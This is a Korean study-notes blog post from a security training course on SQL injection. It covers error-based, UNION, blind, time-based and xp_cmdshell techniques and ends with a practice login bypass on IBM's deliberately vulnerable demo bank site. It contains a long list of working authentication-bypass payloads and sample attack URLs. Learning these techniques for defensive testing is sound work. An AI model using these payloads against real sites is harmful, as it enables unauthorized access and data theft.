[목차]
1. SQL Injection 유형
2. SQL Injection 공격 패턴
3. Database 별 에러 정보
4. SQL (Structed Query Language)
5. 실습 : 실습 페이지 소개
[SQL Injection 유형]
1. Error based SQL Injection
에러가 발생되는 사이트에서는 논리적 에러 및 UNION SQL Injection
Logical Error based SQL Injection
UNION SQL Injection
2. Non-error based SQL Injection(Blind SQL Injection)
에러가 발생되지 않는 사이트에서는 Blind SQL Injection
Time based Blind SQL Injection
Boolean based Blind SQL Injection
[SQL Injection 공격 패턴]
1. 논리적 에러를 이용한
SQL Injection(Logical Error based SQL Injection)
대표적인 패턴: 1' or '1' = '
다양한 패턴을 통한 우회공격
or 1=1
admin'/*
admin') or '1'='1'/*
or 1=1--
admin' or '1'='1
admin" #
or 1=1#
admin' or '1'='1'--
admin"/*
or 1=1/*
admin' or '1'='1'#
admin" or 1=1--
admin' --
admin' or '1'='1'/*
admin" or 1=1#
admin' #
admin'or 1=1 or ''='
admin" or 1=1/*
admin" or "1"="1
admin' or 1=1
admin") or ("1"="1
admin" or "1"="1"--
admin' or 1=1#
admin") or ("1"="1"#
admin" or "1"="1"#
admin' or 1=1/*
admin") or ("1"="1"/*
admin" or "1"="1"/*
admin') or ('1'='1
admin") or "1"="1
admin"or 1=1 or ""="
admin') or ('1'='1'--
admin") or "1"="1"--
admin" or 1=1
admin') or ('1'='1'#
admin") or "1"="1"#
admin") or "1"="1"/*
2. 두 개 이상의 쿼리를 이용하는 union SQL Injection(union SQL Injection)
UNION은 두 개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자
공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻는 방식
http://www.example.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables
id=5 라는 한 개의 쿼리와 테이블 정보가 들어있는 information_schema.tables를
얻으려는 추가 쿼리가 합쳐진 공격 패턴.
3. 쿼리 가능 여부를 이용하는 Blind SQL Injection(Blind SQL Injection)
사용이유 : 에러가 발생되지 않는 사이트에서는 위 기법들을 사용할 수 없기 때문에
공격 쿼리가 수행되는지 여부를 확인할 수 없다. 그래서 이를 해결하기 위해 참/거짓 조건을 사용
http://www.example.com/news.php?id=5 and 1=1 (참 조건)
http://www.example.com/news.php?id=5 and 1=2 (거짓 조건)
4. 저장 프로시저를 이용하는 Stored Procedure SQL Injection(Stored Procedure SQL Injection)
저장 프로시저는 운영상 편의를 위해 만들어둔 SQL 집합형태.
MS-SQL의 xp_cmdshell는 윈도우 명령어를 실행할 수 있도록 역할을 제공하기 때문에 자주 악용 ehla
http://www.example.com/check.php?id='; create.....r.dbo.xp_cmdshell%20'netstat%20-an';
5. 타임기반의 Blind SQL Injection(Time based Blind SQL Injection)
쿼리 결과를 특정 시간만큼 지연시켜 반응을 보고 공격 가능 여부 판단
http://www.example.com/list.php?cat=1 and sleep(5)
6. 에러 기반의 SQL Injection
특수문자(' 또는 ;) 사용하여 SQL 에러가 발생된다면 취약점이 있는 것으로 판단
[데이터베이스 별 에러 정보]
[참고] SQL(Structed Query Language)
1. SQL(Structed Query Language)?
관계형 데이터베이스를 다루는 표준 프로그래밍 언어이다.
1970년대에 IBM 연구소에서 개발되었다.
2. SQL은 데이터베이스의 테이블을 정의하고 작성, 데이터베이스 추가, 갱신, 삭제 및 검색,
그리고 데이터베이스 보안과 데이터의 연속성을 유지한다.
3. DDL(Data Definition Language) : 데이터 정의 언어
CREATE : DB와 Table을 생성
ALTER : DB와 Table 구조 변경
DROP : DB와 Table을 삭제
4. DML(Data Manipulation Lanaguge) : 데이터 조작 언어
SELECT : 테이터 검색(EX: select * from 테이블 where 조건)
INSERT : 데이터 추가(EX: insert into 테이블 values("필드값"))
UPDATE : 데이터 갱신(EX: update 테이블 set 필드명='필드값')
DELETE : 데이터 삭제(EX: delete from 테이블 where 조건)
5. DCL(Data Control Language) : 데이터 제어 언어
GRANT : 데이터 조작 권한을 사용자에게 제공
REVOKE : 데이터 조작 권한을 사용자에게 제거
COMMIT : 데이터 변경을 최종 확인
ROLLBACK : 데이터 변경을 취소
[실습]
https://demo.testfire.net/login.jsp
http://demo.testfire.net 사이트에 대한 소개
: AltoroJ 웹 사이트는 IBM 응용 프로그램의 취약점과
웹 사이트 결함을 탐지하는 IBM 제품의 효과를 입증하기 위한 목적으로
IBM Corporation에 의해 게시되었습니다.
이 사이트는 실제 은행 사이트가 아닙니다.
제 3 자 제품 및 또는 웹 사이트와의 유사점은 순전히 우연의 일치입니다.
이 사이트는 명시 적 또는 묵시적으로 어떠한 종류의 보증도없이 "있는 그대로"제공됩니다.
IBM은 귀하가 본 웹 사이트 사용과 관련하여 어떠한 위험 부담도지지 않습니다.
직접 취약한 사이트를 내부에 구성해 보기 위해서는 다음과 같은 URL를 참고합니다.
- http://purpleskypeter.blogspot.com/2019/03/setup-AltoroJ.html
sql injection 공격으로 로그인에 성공해보자!
taku' or 1=1 --
'정보보안공부 > 정보보안전문과정' 카테고리의 다른 글
정보보안 과정 Day 118 : MySQL DB 공격 실습 (0) | 2021.02.26 |
---|---|
정보보안 과정 Day 117 : MySQL DB 쿼리 테스트 / 웹쉘 (0) | 2021.02.25 |
정보보안 과정 Day116 : 웹 보안 시작 (진단기준 / HTTP 프로토콜) (0) | 2021.02.24 |
정보보안 과정 Day115 : 리눅스 서버 보안 종료 (0) | 2021.02.23 |
정보보안 과정 Day 109~114 : 프로젝트 기간 (0) | 2021.02.23 |